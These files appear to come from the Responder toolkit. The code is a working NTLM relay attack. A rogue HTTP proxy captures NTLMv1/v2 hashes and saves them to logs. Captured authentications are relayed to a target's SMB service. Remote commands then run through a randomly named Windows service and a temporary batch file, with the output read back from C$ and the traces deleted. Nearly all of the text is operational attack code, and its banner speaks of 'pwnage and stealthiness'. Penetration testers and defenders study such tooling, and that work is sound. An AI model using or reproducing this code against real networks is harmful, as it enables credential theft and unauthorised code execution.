Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
class SMBDCEPacketData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x00"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("AllocHint", "\x38\x00\x00\x00"),
("ContextID", "\x00\x00"),
("Opnum", "\x0f\x00"),
("Data", ""),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
class SMBDCESVCCTLOpenManagerW(Packet):
fields = OrderedDict([
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
("MaxCount", "\x0f\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0f\x00\x00\x00"),
("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
("MachineNameNull", "\x00\x00\x00\x00"),
("DbPointer", "\x00\x00\x00\x00"),
("AccessMask", "\x3f\x00\x0f\x00"),
])
def calculate(self):
## Convert to UTF-16LE
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
class SMBDCESVCCTLCreateService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", "AyAGaxwLhCP"),
("MachineNameNull", "\x00\x00"),
("ReferentID", "\x9c\xfa\x9a\xc9"),
("MaxCountRefID", "\x11\x00\x00\x00"),
("OffsetID", "\x00\x00\x00\x00"),
("ActualCountRefID", "\x11\x00\x00\x00"),
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
("DisplayNameIDNull", "\x00\x00\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
("ServerType", "\x10\x01\x00\x00"),
("ServiceStartType", "\x03\x00\x00\x00"),
("ServiceErrorCtl", "\x00\x00\x00\x00"),
("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"),
("FileName", ""),
("BinPathName", ""),
("BinCMD", ""),
("BintoEnd", ""),
("BinPathNameNull", "\x00\x00"),
("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
CleanService = "sc delete "+self.fields["ServiceName"]+"^&"#Start by deleting the service..then run the cmd.
FinalCMD = CleanService+"del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
#That is: delete service we just ran, delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
self.fields["FileName"] = ""#Reset it.
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
self.fields["BinCMD"] = FinalCMD
self.fields["BintoEnd"] = "& %COMSPEC% /C "+File
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", ""),
("MachineNameNull", "\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
])
def calculate(self):
## Calculate first
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
class SMBDCESVCCTLStartService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
])
class OpenAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0f"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Flags", "\x07\x00"),
("DesiredAccess", "\xc2\x00"),
("SearchAttrib", "\x16\x00"),
("FileAttrib", "\x20\x00"),
("Created", "\x40\x9d\xc1\x57"),
("OpenFunc", "\x12\x00"),
("allocsize", "\x00\x00\x00\x00"),
("Timeout", "\x00\x00\x00\x00"),
("Reserved2", "\x00\x00\x00\x00"),
("Bcc", "\x0b\x00"),
("Terminator", ""),
("File", "\\hola.txt"),
("FileNull", "\x00"),#00 00
])
def calculate(self):
#self.fields["File"] = self.fields["File"].encode('utf-16le')
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Terminator"])+str(self.fields["File"])+str(self.fields["FileNull"])))
class ReadRequest(Packet):
fields = OrderedDict([
("Wordcount", "\x05"),
("FID", "\x02\x40"),
("Count", "\xf0\xff"),
("Offset", "\x00\x00\x00\x00"),
("RemainingBytes", "\xf0\xff"),
("Bcc", "\x00\x00"),
])
class ReadRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0C"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),#
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("MaxCountLow", "\xf0\xff"),
("MinCount", "\xf0\xff"),
("Timeout", "\xff\xff\xff\xff"),
("RemainingBytes", "\xf0\xff"),
("HighOffset", "\x00\x00\x00\x00"),
("Bcc", "\x00\x00"),
])
class CloseRequest(Packet):
fields = OrderedDict([
("Wordcount", "\x03"),
("FID", "\x00\x00"),
("LastWrite", "\xff\xff\xff\xff"),
("Bcc", "\x00\x00"),
])
class DeleteFileRequest(Packet):
fields = OrderedDict([
("Wordcount", "\x01"),
("SearchAttributes", "\x06\x00"),
("Bcc", "\x1b\x00"),
("BuffType", "\x04"),
("File", ""),
("FileNull", "\x00\x00"),
])
def calculate(self):
self.fields["File"] = self.fields["File"].encode('utf-16le')
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["BuffType"])+str(self.fields["File"])+str(self.fields["FileNull"])))
class SMBEcho(Packet):
fields = OrderedDict([
("Wordcount", "\x01"),
("EchoCount", "\x01\x00"),
("Bcc", "\x1b\x00"),
("File", "LWO CW VLO DEO MAW LMW ARW"),#nt4 style.
("FileNull", "\x00"),
])
###########################PSEXEC#############################################
def ExtractCommandOutput(data):
DataLen = struct.unpack("<H", data[61:63])[0]
Output = data[63:63+DataLen]
return Output
def SMBReadRecv(s):
Completedata=[]
data=''
Start=time.time()
s.setblocking(0)
while 1:
if Completedata and time.time()-Start > 0.5:#Timeout
break
try:
data = s.recv(1024)
if data:
Completedata.append(data)
Start=time.time()
else:
break
except:
pass
s.setblocking(1)
return s, ''.join(Completedata)
def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host):
if data == None:
return False
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBNTCreateData()
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## Fail Handling.
if data[8:10] == "\xa2\x22":
print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n"
return False
## DCE/RPC Write.
if data[8:10] == "\xa2\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
x = SMBDCEData()
x.calculate()
f = data[42:44]
t = SMBWriteData(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLOpenManagerW.
if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")#, MachineName="\\\\"+Host[0])
w.calculate()
x = SMBDCEPacketData(Data=w)
x.calculate()
t = SMBWriteData(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLCreateService.
if data[8:10] == "\x2e\xb0":
print "[+] Server returned NT_STATUS_PIPE_DISCONNECTED, no admin rights on that pipe.\n"
return False
## DCE/RPC SVCCTLCreateService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n"
return False
#print "[+] Creating service"
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
ContextHandler = data[88:108]
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
FilePath = FileChars
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath, ReferentID="\x21\x03\x03\x00",BinCMD=Command)
w.calculate()
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLOpenService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to create the service\n"
return False
#print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars)
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0c\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
w.calculate()
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0d\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLStartService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open the service.\n"
return False
ContextHandler = data[88:108]
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0e\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0f\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
##Tree connect c$
if data[8:10] == "\x2e\x00":
#print "[+] Command executed, grabbing output now."
Logs.info('Command executed:')
Logs.info(clientIP+","+Username+','+Command)
#time.sleep(1)#Maybe the command executed took some time..
#print "[+] Removing service.\n[+] Cleaning up files.\n"
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x2d\x34":
time.sleep(1)#not found, maybe still processing the cmd. Wait a bit.
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x2d\x34":
time.sleep(1)#not found, command failed.
print "[+] The command failed."
return data
##ReadRequest.
## Need grab the size from Open And X and do it properly later. For now, only 65535 bytes printed.
if data[8:10] == "\x2d\x00":
ReturnedFID = data[41:43]
head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00")
t = ReadRequestAndX(FID=ReturnedFID)
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
s, data = SMBReadRecv(s)
#print "[+] Output:\n"
print ExtractCommandOutput(data)
##Close Request
if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = CloseRequest(FID = ReturnedFID)
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##DeleteFileRequest.
if data[8:10] == "\x04\x00":
head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00")
t = DeleteFileRequest(File="\\Windows\\Temp\\Results.txt")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
#print "[+] Deleting file now."
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x06\x00":
#print "[+] File deleted, making sure it's not there anymore.."
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
return data

361
tools/RelayHTTPSMB/HTTPToSMBRelay.py Executable file
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#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, re, os, logging, warnings, thread, optparse, time
from HTTPRelayPacket import *
from Finger import RunFinger
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../../')))
from socket import *
__version__ = "0.2"
def UserCallBack(op, value, dmy, parser):
args=[]
for arg in parser.rargs:
if arg[0] != "-":
args.append(arg)
if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
options, args = parser.parse_args()
if options.TARGET is None:
print "\n-t Mandatory option is missing, please provide a target.\n"
parser.print_help()
exit(-1)
if options.UserToRelay is None:
print "\n-u Mandatory option is missing, please provide a username to relay.\n"
parser.print_help()
exit(-1)
UserToRelay = options.UserToRelay
Host = options.TARGET, 445
Cmd = ""
def ShowWelcome():
print '\n\033[1;34mResponder Proxy Auth to SMB NTLMv1/2 Relay 0.2\nSupporting NTLMv1 and NTLMv2.'
print 'Send bugs/hugs/comments to: laurent.gaffie@gmail.com'
print 'Usernames to relay (-u) are case sensitive.'
print 'To kill this script hit CRTL-C or <Enter>.\033[1;31m\n'
print 'Use this script in combination with Responder.py for best results.'
print 'Do not to use Responder.py with -P set. This tool does the same'
print 'than -P but with cross-protocol NTLM relay. Always target a box '
print 'joined to the target domain,not the PDC as SMB signing is enabled '
print 'by default. For optimal pwnage and stealthiness, launch Responder '
print 'with these 2 options only: -rv \033[0m'
print '\n\033[1;34mRelaying credentials only for these users:\033[32m'
print UserToRelay
print '\033[0m\n'
ShowWelcome()
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../"
Logs = logging
Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
try:
RunFinger(Host[0])
except:
print "The host %s seems to be down or port 445 down."%(Host[0])
sys.exit(1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
if not os.path.isfile(outfile):
with open(outfile,"w") as outf:
outf.write(data + '\n')
return
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
return False
elif re.search(re.escape("$"), user):
return False
with open(outfile,"a") as outf2:
outf2.write(data + '\n')
#Function used to verify if a previous auth attempt was made.
def ReadData(Outfile, Client, User, Domain, Target, cmd):
try:
with open(Logs_Path+"logs/"+Outfile,"r") as filestr:
Login = Client+":"+User+":"+Domain+":"+Target+":Logon Failure"
if re.search(Login.encode('hex'), filestr.read().encode('hex')):
print "[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User)
return True
else:
return False
except:
raise
def ParseHTTPHash(data, key, client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, key.encode("hex"))
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
print "[+] Received NTLMv1 hash from: %s"%(client)
if User in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
return None, None
else:
return User, HostName
else:
print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, key.encode("hex"), NTHash[:32], NTHash[32:])
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
print "[+] Received NTLMv2 hash from: %s"%(client)
if User in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
return None, None
else:
return User, Domain
else:
print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None
def longueur(payload):
return struct.pack(">i", len(''.join(payload)))
def ExtractChallenge(data):
SecBlobLen = struct.unpack("<h", data[43:45])[0]
if SecBlobLen < 255:
Challenge = data[102:110]
if SecBlobLen > 255:
Challenge = data[106:114]
print "[+] Setting up HTTP Proxy with SMB challenge:", Challenge.encode("hex")
return Challenge
def ExtractRawNTLMPacket(data):
SecBlobLen = struct.unpack("<h", data[43:45])[0]
SSP = re.search("NTLMSSP", data[47:]).start()
RawNTLM = data[47+SSP:47+SecBlobLen]
return RawNTLM
def GetSessionResponseFlags(data):
if data[41:43] == "\x01\x00":
print "[+] Server returned session positive, but as guest. Psexec should fail even if authentication was successful.."
def get_command():
global Cmd
Cmd = ""
while len(Cmd) is 0:
Cmd = raw_input("C:\\Windows\\system32\\:#")
def SMBKeepAlive(s, data, NextEcho = 20):
while True:
head = SMBHeader(cmd="\x2b",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBEcho()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
time.sleep(NextEcho)
def HTTPProxyRelay():
so = socket(AF_INET,SOCK_STREAM)
so.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
try:
so.bind(('0.0.0.0', 3128))
so.listen(10)
s = socket(AF_INET, SOCK_STREAM)
s.connect(Host)
s.settimeout(30)
except:
"Cannot bind to port 3128, something else must be using it."
sys.exit(1)
try:
while True:
conn, addr = so.accept()
data = conn.recv(4096)
if not data:
break
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01":
## SMB Block. Relay PROXY NTLM NEGO to target srv.
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
n = SMBNegoCairo(Data = SMBNegoCairoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
smbdata = s.recv(2048)
##Session Setup AndX Request, NTLMSSP_NEGOTIATE
if smbdata[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
smbdata = s.recv(2048)
## Send HTTP Proxy
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractChallenge(data)#Grab challenge key
conn.send(str(Buffer_Ans))
data = conn.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
Username, Domain = ParseHTTPHash(NTLM_Auth, key, addr[0])
if Username is not None:
##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent."
s.send(buffer1)
smbdata = s.recv(2048)
return smbdata, s, addr[0], Username, Domain
else:
return None, None, None, None, None
else:
Response = WPAD_Auth_407_Ans()
conn.send(str(Response))
data = conn.recv(4096)
except:
return None, None, None, None, None
def RunPsExec(Host):
data, s, clientIP, Username, Domain = HTTPProxyRelay()
if data == None:
return False
if data[8:10] == "\x73\x6d":
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target.\n[+] Hashes were saved anyways in Responder/logs/ folder."
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
